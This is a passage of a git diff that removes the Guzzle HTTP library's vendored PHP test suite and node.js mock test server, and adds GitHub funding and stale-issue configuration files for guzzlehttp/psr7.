$stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com', [], $bd), []); - self::assertInstanceOf(PromiseInterface::class, $p); - $response = $p->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function expectProvider() - { - return [ - [true, ['100-Continue']], - [false, []], - [10, ['100-Continue']], - [500000, []] - ]; - } - - /** - * @dataProvider expectProvider - */ - public function testAddsExpect($value, $result) - { - $bd = Psr7\stream_for(fopen(__DIR__ . '/../composer.json', 'r')); - - $h = new MockHandler([ - function (RequestInterface $request) use ($result) { - self::assertSame($result, $request->getHeader('Expect')); - return new Response(200); - } - ]); - - $m = Middleware::prepareBody(); - $stack = new HandlerStack($h); - $stack->push($m); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com', [], $bd), [ - 'expect' => $value - ]); - self::assertInstanceOf(PromiseInterface::class, $p); - $response = $p->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function testIgnoresIfExpectIsPresent() - { - $bd = Psr7\stream_for(fopen(__DIR__ . '/../composer.json', 'r')); - $h = new MockHandler([ - function (RequestInterface $request) { - self::assertSame(['Foo'], $request->getHeader('Expect')); - return new Response(200); - } - ]); - - $m = Middleware::prepareBody(); - $stack = new HandlerStack($h); - $stack->push($m); - $comp = $stack->resolve(); - $p = $comp( - new Request('PUT', 'http://www.google.com', ['Expect' => 'Foo'], $bd), - ['expect' => true] - ); - self::assertInstanceOf(PromiseInterface::class, $p); - $response = $p->wait(); - self::assertSame(200, $response->getStatusCode()); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/RedirectMiddlewareTest.php b/vendor/guzzlehttp/guzzle/tests/RedirectMiddlewareTest.php deleted file mode 100644 index f9e6a10629..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/RedirectMiddlewareTest.php +++ /dev/null @@ -1,281 +0,0 @@ -push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com'); - $promise = $handler($request, []); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function testIgnoresWhenNoLocation() - { - $response = new Response(304); - $stack = new HandlerStack(new MockHandler([$response])); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com'); - $promise = $handler($request, []); - $response = $promise->wait(); - self::assertSame(304, $response->getStatusCode()); - } - - public function testRedirectsWithAbsoluteUri() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['max' => 2] - ]); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('http://test.com', (string)$mock->getLastRequest()->getUri()); - } - - public function testRedirectsWithRelativeUri() - { - $mock = new MockHandler([ - new Response(302, ['Location' => '/foo']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['max' => 2] - ]); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('http://example.com/foo', (string)$mock->getLastRequest()->getUri()); - } - - /** - * @expectedException \GuzzleHttp\Exception\TooManyRedirectsException - * @expectedExceptionMessage Will not follow more than 3 redirects - */ - public function testLimitsToMaxRedirects() - { - $mock = new MockHandler([ - new Response(301, ['Location' => 'http://test.com']), - new Response(302, ['Location' => 'http://test.com']), - new Response(303, ['Location' => 'http://test.com']), - new Response(304, ['Location' => 'http://test.com']) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com'); - $promise = $handler($request, ['allow_redirects' => ['max' => 3]]); - $promise->wait(); - } - - /** - * @expectedException \GuzzleHttp\Exception\BadResponseException - * @expectedExceptionMessage Redirect URI, - */ - public function testEnsuresProtocolIsValid() - { - $mock = new MockHandler([ - new Response(301, ['Location' => 'ftp://test.com']) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com'); - $handler($request, ['allow_redirects' => ['max' => 3]])->wait(); - } - - public function testAddsRefererHeader() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['max' => 2, 'referer' => true] - ]); - $promise->wait(); - self::assertSame( - 'http://example.com?a=b', - $mock->getLastRequest()->getHeaderLine('Referer') - ); - } - - public function testAddsRefererHeaderButClearsUserInfo() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://foo:bar@example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['max' => 2, 'referer' => true] - ]); - $promise->wait(); - self::assertSame( - 'http://example.com?a=b', - $mock->getLastRequest()->getHeaderLine('Referer') - ); - } - - public function testAddsGuzzleRedirectHeader() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://example.com']), - new Response(302, ['Location' => 'http://example.com/foo']), - new Response(302, ['Location' => 'http://example.com/bar']), - new Response(200) - ]); - - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['track_redirects' => true] - ]); - $response = $promise->wait(true); - self::assertSame( - [ - 'http://example.com', - 'http://example.com/foo', - 'http://example.com/bar', - ], - $response->getHeader(RedirectMiddleware::HISTORY_HEADER) - ); - } - - public function testAddsGuzzleRedirectStatusHeader() - { - $mock = new MockHandler([ - new Response(301, ['Location' => 'http://example.com']), - new Response(302, ['Location' => 'http://example.com/foo']), - new Response(301, ['Location' => 'http://example.com/bar']), - new Response(302, ['Location' => 'http://example.com/baz']), - new Response(200) - ]); - - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['track_redirects' => true] - ]); - $response = $promise->wait(true); - self::assertSame( - [ - '301', - '302', - '301', - '302', - ], - $response->getHeader(RedirectMiddleware::STATUS_HISTORY_HEADER) - ); - } - - public function testDoesNotAddRefererWhenGoingFromHttpsToHttp() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'https://example.com?a=b'); - $promise = $handler($request, [ - 'allow_redirects' => ['max' => 2, 'referer' => true] - ]); - $promise->wait(); - self::assertFalse($mock->getLastRequest()->hasHeader('Referer')); - } - - public function testInvokesOnRedirectForRedirects() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - new Response(200) - ]); - $stack = new HandlerStack($mock); - $stack->push(Middleware::redirect()); - $handler = $stack->resolve(); - $request = new Request('GET', 'http://example.com?a=b'); - $call = false; - $promise = $handler($request, [ - 'allow_redirects' => [ - 'max' => 2, - 'on_redirect' => function ($request, $response, $uri) use (&$call) { - self::assertSame(302, $response->getStatusCode()); - self::assertSame('GET', $request->getMethod()); - self::assertSame('http://test.com', (string) $uri); - $call = true; - } - ] - ]); - $promise->wait(); - self::assertTrue($call); - } - - public function testRemoveAuthorizationHeaderOnRedirect() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://test.com']), - function (RequestInterface $request) { - self::assertFalse($request->hasHeader('Authorization')); - return new Response(200); - } - ]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://example.com?a=b', ['auth' => ['testuser', 'testpass']]); - } - - public function testNotRemoveAuthorizationHeaderOnRedirect() - { - $mock = new MockHandler([ - new Response(302, ['Location' => 'http://example.com/2']), - function (RequestInterface $request) { - self::assertTrue($request->hasHeader('Authorization')); - return new Response(200); - } - ]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $client->get('http://example.com?a=b', ['auth' => ['testuser', 'testpass']]); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/RetryMiddlewareTest.php b/vendor/guzzlehttp/guzzle/tests/RetryMiddlewareTest.php deleted file mode 100644 index 3c2c32e723..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/RetryMiddlewareTest.php +++ /dev/null @@ -1,81 +0,0 @@ - $f]); - $p = $c->sendAsync(new Request('GET', 'http://test.com'), []); - $p->wait(); - self::assertCount(3, $calls); - self::assertSame(2, $delayCalls); - self::assertSame(202, $p->wait()->getStatusCode()); - } - - public function testDoesNotRetryWhenDeciderReturnsFalse() - { - $decider = function () { - return false; - }; - $m = Middleware::retry($decider); - $h = new MockHandler([new Response(200)]); - $c = new Client(['handler' => $m($h)]); - $p = $c->sendAsync(new Request('GET', 'http://test.com'), []); - self::assertSame(200, $p->wait()->getStatusCode()); - } - - public function testCanRetryExceptions() - { - $calls = []; - $decider = function ($retries, $request, $response, $error) use (&$calls) { - $calls[] = func_get_args(); - return $error instanceof \Exception; - }; - $m = Middleware::retry($decider); - $h = new MockHandler([new \Exception(), new Response(201)]); - $c = new Client(['handler' => $m($h)]); - $p = $c->sendAsync(new Request('GET', 'http://test.com'), []); - self::assertSame(201, $p->wait()->getStatusCode()); - self::assertCount(2, $calls); - self::assertSame(0, $calls[0][0]); - self::assertNull($calls[0][2]); - self::assertInstanceOf('Exception', $calls[0][3]); - self::assertSame(1, $calls[1][0]); - self::assertInstanceOf(Response::class, $calls[1][2]); - self::assertNull($calls[1][3]); - } - - public function testBackoffCalculateDelay() - { - self::assertSame(0, RetryMiddleware::exponentialDelay(0)); - self::assertSame(1000, RetryMiddleware::exponentialDelay(1)); - self::assertSame(2000, RetryMiddleware::exponentialDelay(2)); - self::assertSame(4000, RetryMiddleware::exponentialDelay(3)); - self::assertSame(8000, RetryMiddleware::exponentialDelay(4)); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Server.php b/vendor/guzzlehttp/guzzle/tests/Server.php deleted file mode 100644 index b172a39d0b..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Server.php +++ /dev/null @@ -1,174 +0,0 @@ -request('DELETE', 'guzzle-server/requests'); - } - - /** - * Queue an array of responses or a single response on the server. - * - * Any currently queued responses will be overwritten. Subsequent requests - * on the server will return queued responses in FIFO order. - * - * @param array|ResponseInterface $responses A single or array of Responses - * to queue. - * @throws \Exception - */ - public static function enqueue($responses) - { - $data = []; - foreach ((array) $responses as $response) { - if (!($response instanceof ResponseInterface)) { - throw new \Exception('Invalid response given.'); - } - $headers = array_map(function ($h) { - return implode(' ,', $h); - }, $response->getHeaders()); - - $data[] = [ - 'status' => (string) $response->getStatusCode(), - 'reason' => $response->getReasonPhrase(), - 'headers' => $headers, - 'body' => base64_encode((string) $response->getBody()) - ]; - } - - self::getClient()->request('PUT', 'guzzle-server/responses', [ - 'json' => $data - ]); - } - - /** - * Get all of the received requests - * - * @return ResponseInterface[] - * @throws \RuntimeException - */ - public static function received() - { - if (!self::$started) { - return []; - } - - $response = self::getClient()->request('GET', 'guzzle-server/requests'); - $data = json_decode($response->getBody(), true); - - return array_map( - function ($message) { - $uri = $message['uri']; - if (isset($message['query_string'])) { - $uri .= '?' . $message['query_string']; - } - $response = new Psr7\Request( - $message['http_method'], - $uri, - $message['headers'], - $message['body'], - $message['version'] - ); - return $response->withUri( - $response->getUri() - ->withScheme('http') - ->withHost($response->getHeaderLine('host')) - ); - }, - $data - ); - } - - /** - * Stop running the node.js server - */ - public static function stop() - { - if (self::$started) { - self::getClient()->request('DELETE', 'guzzle-server'); - } - - self::$started = false; - } - - public static function wait($maxTries = 5) - { - $tries = 0; - while (!self::isListening() && ++$tries < $maxTries) { - usleep(100000); - } - - if (!self::isListening()) { - throw new \RuntimeException('Unable to contact node.js server'); - } - } - - public static function start() - { - if (self::$started) { - return; - } - - if (!self::isListening()) { - exec('node ' . __DIR__ . '/server.js ' - . self::$port . ' >> /tmp/server.log 2>&1 &'); - self::wait(); - } - - self::$started = true; - } - - private static function isListening() - { - try { - self::getClient()->request('GET', 'guzzle-server/perf', [ - 'connect_timeout' => 5, - 'timeout' => 5 - ]); - return true; - } catch (\Exception $e) { - return false; - } - } - - private static function getClient() - { - if (!self::$client) { - self::$client = new Client([ - 'base_uri' => self::$url, - 'sync' => true, - ]); - } - - return self::$client; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/TransferStatsTest.php b/vendor/guzzlehttp/guzzle/tests/TransferStatsTest.php deleted file mode 100644 index 73cae61198..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/TransferStatsTest.php +++ /dev/null @@ -1,30 +0,0 @@ - 'bar'] - ); - self::assertSame($request, $stats->getRequest()); - self::assertSame($response, $stats->getResponse()); - self::assertTrue($stats->hasResponse()); - self::assertSame(['foo' => 'bar'], $stats->getHandlerStats()); - self::assertSame('bar', $stats->getHandlerStat('foo')); - self::assertSame($request->getUri(), $stats->getEffectiveUri()); - self::assertEquals(10.5, $stats->getTransferTime()); - self::assertNull($stats->getHandlerErrorData()); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/UriTemplateTest.php b/vendor/guzzlehttp/guzzle/tests/UriTemplateTest.php deleted file mode 100644 index 136bddbac1..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/UriTemplateTest.php +++ /dev/null @@ -1,202 +0,0 @@ - 'value', - 'hello' => 'Hello World!', - 'empty' => '', - 'path' => '/foo/bar', - 'x' => '1024', - 'y' => '768', - 'null' => null, - 'list' => ['red', 'green', 'blue'], - 'keys' => [ - "semi" => ';', - "dot" => '.', - "comma" => ',' - ], - 'empty_keys' => [], - ]; - - return array_map(function ($t) use ($params) { - $t[] = $params; - return $t; - }, [ - ['foo', 'foo'], - ['{var}', 'value'], - ['{hello}', 'Hello%20World%21'], - ['{+var}', 'value'], - ['{+hello}', 'Hello%20World!'], - ['{+path}/here', '/foo/bar/here'], - ['here?ref={+path}', 'here?ref=/foo/bar'], - ['X{#var}', 'X#value'], - ['X{#hello}', 'X#Hello%20World!'], - ['map?{x,y}', 'map?1024,768'], - ['{x,hello,y}', '1024,Hello%20World%21,768'], - ['{+x,hello,y}', '1024,Hello%20World!,768'], - ['{+path,x}/here', '/foo/bar,1024/here'], - ['{#x,hello,y}', '#1024,Hello%20World!,768'], - ['{#path,x}/here', '#/foo/bar,1024/here'], - ['X{.var}', 'X.value'], - ['X{.x,y}', 'X.1024.768'], - ['{/var}', '/value'], - ['{/var,x}/here', '/value/1024/here'], - ['{;x,y}', ';x=1024;y=768'], - ['{;x,y,empty}', ';x=1024;y=768;empty'], - ['{?x,y}', '?x=1024&y=768'], - ['{?x,y,empty}', '?x=1024&y=768&empty='], - ['?fixed=yes{&x}', '?fixed=yes&x=1024'], - ['{&x,y,empty}', '&x=1024&y=768&empty='], - ['{var:3}', 'val'], - ['{var:30}', 'value'], - ['{list}', 'red,green,blue'], - ['{list*}', 'red,green,blue'], - ['{keys}', 'semi,%3B,dot,.,comma,%2C'], - ['{keys*}', 'semi=%3B,dot=.,comma=%2C'], - ['{+path:6}/here', '/foo/b/here'], - ['{+list}', 'red,green,blue'], - ['{+list*}', 'red,green,blue'], - ['{+keys}', 'semi,;,dot,.,comma,,'], - ['{+keys*}', 'semi=;,dot=.,comma=,'], - ['{#path:6}/here', '#/foo/b/here'], - ['{#list}', '#red,green,blue'], - ['{#list*}', '#red,green,blue'], - ['{#keys}', '#semi,;,dot,.,comma,,'], - ['{#keys*}', '#semi=;,dot=.,comma=,'], - ['X{.var:3}', 'X.val'], - ['X{.list}', 'X.red,green,blue'], - ['X{.list*}', 'X.red.green.blue'], - ['X{.keys}', 'X.semi,%3B,dot,.,comma,%2C'], - ['X{.keys*}', 'X.semi=%3B.dot=..comma=%2C'], - ['{/var:1,var}', '/v/value'], - ['{/list}', '/red,green,blue'], - ['{/list*}', '/red/green/blue'], - ['{/list*,path:4}', '/red/green/blue/%2Ffoo'], - ['{/keys}', '/semi,%3B,dot,.,comma,%2C'], - ['{/keys*}', '/semi=%3B/dot=./comma=%2C'], - ['{;hello:5}', ';hello=Hello'], - ['{;list}', ';list=red,green,blue'], - ['{;list*}', ';list=red;list=green;list=blue'], - ['{;keys}', ';keys=semi,%3B,dot,.,comma,%2C'], - ['{;keys*}', ';semi=%3B;dot=.;comma=%2C'], - ['{?var:3}', '?var=val'], - ['{?list}', '?list=red,green,blue'], - ['{?list*}', '?list=red&list=green&list=blue'], - ['{?keys}', '?keys=semi,%3B,dot,.,comma,%2C'], - ['{?keys*}', '?semi=%3B&dot=.&comma=%2C'], - ['{&var:3}', '&var=val'], - ['{&list}', '&list=red,green,blue'], - ['{&list*}', '&list=red&list=green&list=blue'], - ['{&keys}', '&keys=semi,%3B,dot,.,comma,%2C'], - ['{&keys*}', '&semi=%3B&dot=.&comma=%2C'], - ['{.null}', ''], - ['{.null,var}', '.value'], - ['X{.empty_keys*}', 'X'], - ['X{.empty_keys}', 'X'], - // Test that missing expansions are skipped - ['test{&missing*}', 'test'], - // Test that multiple expansions can be set - ['http://{var}/{var:2}{?keys*}', 'http://value/va?semi=%3B&dot=.&comma=%2C'], - // Test more complex query string stuff - ['http://www.test.com{+path}{?var,keys*}', 'http://www.test.com/foo/bar?var=value&semi=%3B&dot=.&comma=%2C'] - ]); - } - - /** - * @dataProvider templateProvider - */ - public function testExpandsUriTemplates($template, $expansion, $params) - { - $uri = new UriTemplate(); - self::assertSame($expansion, $uri->expand($template, $params)); - } - - public function expressionProvider() - { - return [ - [ - '{+var*}', [ - 'operator' => '+', - 'values' => [ - ['modifier' => '*', 'value' => 'var'] - ] - ], - ], - [ - '{?keys,var,val}', [ - 'operator' => '?', - 'values' => [ - ['value' => 'keys', 'modifier' => ''], - ['value' => 'var', 'modifier' => ''], - ['value' => 'val', 'modifier' => ''] - ] - ], - ], - [ - '{+x,hello,y}', [ - 'operator' => '+', - 'values' => [ - ['value' => 'x', 'modifier' => ''], - ['value' => 'hello', 'modifier' => ''], - ['value' => 'y', 'modifier' => ''] - ] - ] - ] - ]; - } - - /** - * @dataProvider expressionProvider - */ - public function testParsesExpressions($exp, $data) - { - $template = new UriTemplate(); - - // Access the config object - $class = new \ReflectionClass($template); - $method = $class->getMethod('parseExpression'); - $method->setAccessible(true); - - $exp = substr($exp, 1, -1); - self::assertSame($data, $method->invokeArgs($template, [$exp])); - } - - /** - * @ticket https://github.com/guzzle/guzzle/issues/90 - */ - public function testAllowsNestedArrayExpansion() - { - $template = new UriTemplate(); - - $result = $template->expand('http://example.com{+path}{/segments}{?query,data*,foo*}', [ - 'path' => '/foo/bar', - 'segments' => ['one', 'two'], - 'query' => 'test', - 'data' => [ - 'more' => ['fun', 'ice cream'] - ], - 'foo' => [ - 'baz' => [ - 'bar' => 'fizz', - 'test' => 'buzz' - ], - 'bam' => 'boo' - ] - ]); - - self::assertSame('http://example.com/foo/bar/one,two?query=test&more%5B0%5D=fun&more%5B1%5D=ice%20cream&baz%5Bbar%5D=fizz&baz%5Btest%5D=buzz&bam=boo', $result); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/bootstrap.php b/vendor/guzzlehttp/guzzle/tests/bootstrap.php deleted file mode 100644 index 7ff7360fbb..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/bootstrap.php +++ /dev/null @@ -1,39 +0,0 @@ - '123']) - ); - } - public function noBodyProvider() - { - return [['get'], ['head'], ['delete']]; - } - - public function testProvidesDefaultUserAgent() - { - $ua = GuzzleHttp\default_user_agent(); - self::assertRegExp('#^GuzzleHttp/.+ curl/.+ PHP/.+$#', $ua); - } - - public function typeProvider() - { - return [ - ['foo', 'string(3) "foo"'], - [true, 'bool(true)'], - [false, 'bool(false)'], - [10, 'int(10)'], - [1.0, 'float(1)'], - [new StrClass(), 'object(GuzzleHttp\Test\StrClass)'], - [['foo'], 'array(1)'] - ]; - } - /** - * @dataProvider typeProvider - */ - public function testDescribesType($input, $output) - { - self::assertSame($output, GuzzleHttp\describe_type($input)); - } - - public function testParsesHeadersFromLines() - { - $lines = ['Foo: bar', 'Foo: baz', 'Abc: 123', 'Def: a, b']; - self::assertSame([ - 'Foo' => ['bar', 'baz'], - 'Abc' => ['123'], - 'Def' => ['a, b'], - ], GuzzleHttp\headers_from_lines($lines)); - } - - public function testParsesHeadersFromLinesWithMultipleLines() - { - $lines = ['Foo: bar', 'Foo: baz', 'Foo: 123']; - self::assertSame([ - 'Foo' => ['bar', 'baz', '123'], - ], GuzzleHttp\headers_from_lines($lines)); - } - - public function testReturnsDebugResource() - { - self::assertInternalType('resource', GuzzleHttp\debug_resource()); - } - - public function testProvidesDefaultCaBundler() - { - self::assertFileExists(GuzzleHttp\default_ca_bundle()); - } - - public function noProxyProvider() - { - return [ - ['mit.edu', ['.mit.edu'], false], - ['foo.mit.edu', ['.mit.edu'], true], - ['mit.edu', ['mit.edu'], true], - ['mit.edu', ['baz', 'mit.edu'], true], - ['mit.edu', ['', '', 'mit.edu'], true], - ['mit.edu', ['baz', '*'], true], - ]; - } - - /** - * @dataProvider noproxyProvider - */ - public function testChecksNoProxyList($host, $list, $result) - { - self::assertSame( - $result, - \GuzzleHttp\is_host_in_noproxy($host, $list) - ); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresNoProxyCheckHostIsSet() - { - \GuzzleHttp\is_host_in_noproxy('', []); - } - - public function testEncodesJson() - { - self::assertSame('true', \GuzzleHttp\json_encode(true)); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEncodesJsonAndThrowsOnError() - { - \GuzzleHttp\json_encode("\x99"); - } - - public function testDecodesJson() - { - self::assertTrue(\GuzzleHttp\json_decode('true')); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testDecodesJsonAndThrowsOnError() - { - \GuzzleHttp\json_decode('{{]]'); - } -} - -final class StrClass -{ - public function __toString() - { - return 'foo'; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/server.js b/vendor/guzzlehttp/guzzle/tests/server.js deleted file mode 100644 index 3e91fbee29..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/server.js +++ /dev/null @@ -1,250 +0,0 @@ -/** - * Guzzle node.js test server to return queued responses to HTTP requests and - * expose a RESTful API for enqueueing responses and retrieving the requests - * that have been received. - * - * - Delete all requests that have been received: - * > DELETE /guzzle-server/requests - * > Host: 127.0.0.1:8126 - * - * - Enqueue responses - * > PUT /guzzle-server/responses - * > Host: 127.0.0.1:8126 - * > - * > [{'status': 200, 'reason': 'OK', 'headers': {}, 'body': '' }] - * - * - Get the received requests - * > GET /guzzle-server/requests - * > Host: 127.0.0.1:8126 - * - * < HTTP/1.1 200 OK - * < - * < [{'http_method': 'GET', 'uri': '/', 'headers': {}, 'body': 'string'}] - * - * - Attempt access to the secure area - * > GET /secure/by-digest/qop-auth/guzzle-server/requests - * > Host: 127.0.0.1:8126 - * - * < HTTP/1.1 401 Unauthorized - * < WWW-Authenticate: Digest realm="Digest Test", qop="auth", nonce="0796e98e1aeef43141fab2a66bf4521a", algorithm="MD5", stale="false" - * < - * < 401 Unauthorized - * - * - Shutdown the server - * > DELETE /guzzle-server - * > Host: 127.0.0.1:8126 - * - * @package Guzzle PHP - * @license See the LICENSE file that was distributed with this source code. - */ - -var http = require('http'); -var url = require('url'); - -/** - * Guzzle node.js server - * @class - */ -var GuzzleServer = function(port, log) { - - this.port = port; - this.log = log; - this.responses = []; - this.requests = []; - var that = this; - - var md5 = function(input) { - var crypto = require('crypto'); - var hasher = crypto.createHash('md5'); - hasher.update(input); - return hasher.digest('hex'); - }; - - /** - * Node.js HTTP server authentication module. - * - * It is only initialized on demand (by loadAuthentifier). This avoids - * requiring the dependency to http-auth on standard operations, and the - * performance hit at startup. - */ - var auth; - - /** - * Provides authentication handlers (Basic, Digest). - */ - var loadAuthentifier = function(type, options) { - var typeId = type; - if (type == 'digest') { - typeId += '.'+(options && options.qop ? options.qop : 'none'); - } - if (!loadAuthentifier[typeId]) { - if (!auth) { - try { - auth = require('http-auth'); - } catch (e) { - if (e.code == 'MODULE_NOT_FOUND') { - return; - } - } - } - switch (type) { - case 'digest': - var digestParams = { - realm: 'Digest Test', - login: 'me', - password: 'test' - }; - if (options && options.qop) { - digestParams.qop = options.qop; - } - loadAuthentifier[typeId] = auth.digest(digestParams, function(username, callback) { - callback(md5(digestParams.login + ':' + digestParams.realm + ':' + digestParams.password)); - }); - break - } - } - return loadAuthentifier[typeId]; - }; - - var firewallRequest = function(request, req, res, requestHandlerCallback) { - var securedAreaUriParts = request.uri.match(/^\/secure\/by-(digest)(\/qop-([^\/]*))?(\/.*)$/); - if (securedAreaUriParts) { - var authentifier = loadAuthentifier(securedAreaUriParts[1], { qop: securedAreaUriParts[2] }); - if (!authentifier) { - res.writeHead(501, 'HTTP authentication not implemented', { 'Content-Length': 0 }); - res.end(); - return; - } - authentifier.check(req, res, function(req, res) { - req.url = securedAreaUriParts[4]; - requestHandlerCallback(request, req, res); - }); - } else { - requestHandlerCallback(request, req, res); - } - }; - - var controlRequest = function(request, req, res) { - if (req.url == '/guzzle-server/perf') { - res.writeHead(200, 'OK', {'Content-Length': 16}); - res.end('Body of response'); - } else if (req.method == 'DELETE') { - if (req.url == '/guzzle-server/requests') { - // Clear the received requests - that.requests = []; - res.writeHead(200, 'OK', { 'Content-Length': 0 }); - res.end(); - if (that.log) { - console.log('Flushing requests'); - } - } else if (req.url == '/guzzle-server') { - // Shutdown the server - res.writeHead(200, 'OK', { 'Content-Length': 0, 'Connection': 'close' }); - res.end(); - if (that.log) { - console.log('Shutting down'); - } - that.server.close(); - } - } else if (req.method == 'GET') { - if (req.url === '/guzzle-server/requests') { - if (that.log) { - console.log('Sending received requests'); - } - // Get received requests - var body = JSON.stringify(that.requests); - res.writeHead(200, 'OK', { 'Content-Length': body.length }); - res.end(body); - } else if (req.url == '/guzzle-server/read-timeout') { - if (that.log) { - console.log('Sleeping'); - } - res.writeHead(200, 'OK'); - res.write("sleeping 60 seconds ...\n"); - setTimeout(function () { - res.end("slept 60 seconds\n"); - }, 60*1000); - } - } else if (req.method == 'PUT' && req.url == '/guzzle-server/responses') { - if (that.log) { - console.log('Adding responses...'); - } - if (!request.body) { - if (that.log) { - console.log('No response data was provided'); - } - res.writeHead(400, 'NO RESPONSES IN REQUEST', { 'Content-Length': 0 }); - } else { - that.responses = JSON.parse(request.body); - for (var i = 0; i < that.responses.length; i++) { - if (that.responses[i].body) { - that.responses[i].body = Buffer.from(that.responses[i].body, 'base64'); - } - } - if (that.log) { - console.log(that.responses); - } - res.writeHead(200, 'OK', { 'Content-Length': 0 }); - } - res.end(); - } - }; - - var receivedRequest = function(request, req, res) { - if (req.url.indexOf('/guzzle-server') === 0) { - controlRequest(request, req, res); - } else if (req.url.indexOf('/guzzle-server') == -1 && !that.responses.length) { - res.writeHead(500); - res.end('No responses in queue'); - } else { - if (that.log) { - console.log('Returning response from queue and adding request'); - } - that.requests.push(request); - var response = that.responses.shift(); - res.writeHead(response.status, response.reason, response.headers); - res.end(response.body); - } - }; - - this.start = function() { - - that.server = http.createServer(function(req, res) { - - var parts = url.parse(req.url, false); - var request = { - http_method: req.method, - scheme: parts.scheme, - uri: parts.pathname, - query_string: parts.query, - headers: req.headers, - version: req.httpVersion, - body: '' - }; - - // Receive each chunk of the request body - req.addListener('data', function(chunk) { - request.body += chunk; - }); - - // Called when the request completes - req.addListener('end', function() { - firewallRequest(request, req, res, receivedRequest); - }); - }); - - that.server.listen(this.port, '127.0.0.1'); - - if (this.log) { - console.log('Server running at http://127.0.0.1:8126/'); - } - }; -}; - -// Get the port from the arguments -port = process.argv.length >= 3 ? process.argv[2] : 8126; -log = process.argv.length >= 4 ? process.argv[3] : false; - -// Start the server -server = new GuzzleServer(port, log); -server.start(); diff --git a/vendor/guzzlehttp/psr7/.editorconfig b/vendor/guzzlehttp/psr7/.editorconfig deleted file mode 100644 index 93299385b3..0000000000 --- a/vendor/guzzlehttp/psr7/.editorconfig +++ /dev/null @@ -1,9 +0,0 @@ -root = true - -[*] -charset = utf-8 -end_of_line = lf -indent_size = 4 -indent_style = space -insert_final_newline = true -trim_trailing_whitespace = true diff --git a/vendor/guzzlehttp/psr7/.github/FUNDING.yml b/vendor/guzzlehttp/psr7/.github/FUNDING.yml new file mode 100644 index 0000000000..7d222c5820 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/FUNDING.yml @@ -0,0 +1,2 @@ +github: [Nyholm, GrahamCampbell] +tidelift: "packagist/guzzlehttp/psr7" diff --git a/vendor/guzzlehttp/psr7/.github/stale.yml b/vendor/guzzlehttp/psr7/.github/stale.yml new file mode 100644 index 0000000000..53faa71bd9 --- /dev/null +++ b/vendor/guzzlehttp/psr7/.github/stale.yml @@ -0,0 +1,14 @@ +daysUntilStale: 120 +daysUntilClose: 14 +exemptLabels: + - lifecycle/keep-open + - lifecycle/ready-for-merge +# Label to use when marking an issue as stale +staleLabel: lifecycle/stale +# Comment to post when marking an issue as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed after 2 weeks if no further activity occurs. Thank you + for your contributions. +# Comment to post when closing a stale issue. Set to `false` to disable +closeComment: false diff --git a/vendor/guzzlehttp/psr7/.github/workflows/ci.yml 